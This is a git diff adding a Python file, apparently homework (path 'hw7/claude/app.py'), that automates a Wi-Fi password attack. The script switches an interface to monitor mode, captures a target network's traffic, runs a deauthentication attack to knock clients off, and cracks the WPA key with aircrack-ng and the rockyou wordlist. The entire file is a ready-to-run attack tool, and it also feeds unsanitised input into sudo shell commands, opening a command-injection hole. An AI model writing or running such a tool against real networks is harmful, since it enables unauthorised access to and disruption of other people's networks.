diff --git a/hw7/claude/app.py b/hw7/claude/app.py
new file mode 100644
index 0000000..4d9410c
--- /dev/null
+++ b/hw7/claude/app.py
@@ -0,0 +1,58 @@
+import subprocess
+import threading
+
+def run_command(command):
+    process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
+    output, error = process.communicate()
+    return output.decode('utf-8'), error.decode('utf-8')
+
+def change_mode(interface, mode):
+    run_command(f"sudo ifconfig {interface} down")
+    run_command(f"sudo iwconfig {interface} mode {mode}")
+    run_command(f"sudo ifconfig {interface} up")
+
+def start_monitor_mode(interface):
+    change_mode(interface, "monitor")
+
+def stop_monitor_mode(interface):
+    change_mode(interface, "managed")
+
+def crack_password(cap_file, wordlist, bssid):
+    command = f"sudo aircrack-ng -w {wordlist} -b {bssid} {cap_file}"
+    output, error = run_command(command)
+    if "KEY FOUND!" in output:
+        return output.split("KEY FOUND! [ ")[1].split(" ]")[0]
+    else:
+        return None
+
+def main():
+    interface = "wlan0"
+    bssid = input("Enter the BSSID of the target network: ")
+    wordlist = "rockyou.txt"
+    cap_file = "capture.cap"
+
+    print("[*] Enabling monitor mode...")
+    start_monitor_mode(interface)
+
+    print("[*] Starting packet capture...")
+    capture_thread = threading.Thread(target=run_command, args=(f"sudo airodump-ng -w {cap_file} --bssid {bssid} {interface}",))
+    capture_thread.start()
+
+    print("[*] Performing deauthentication attack...")
+    run_command(f"sudo aireplay-ng -0 10 -a {bssid} {interface}")
+
+    capture_thread.join(timeout=60)
+
+    print("[*] Cracking password...")
+    password = crack_password(f"{cap_file}-01.cap", wordlist, bssid)
+
+    print("[*] Disabling monitor mode...")
+    stop_monitor_mode(interface)
+
+    if password:
+        print(f"[+] Password found: {password}")
+    else:
+        print("[-] Password not found.")
+
+if __name__ == "__main__":
+    main()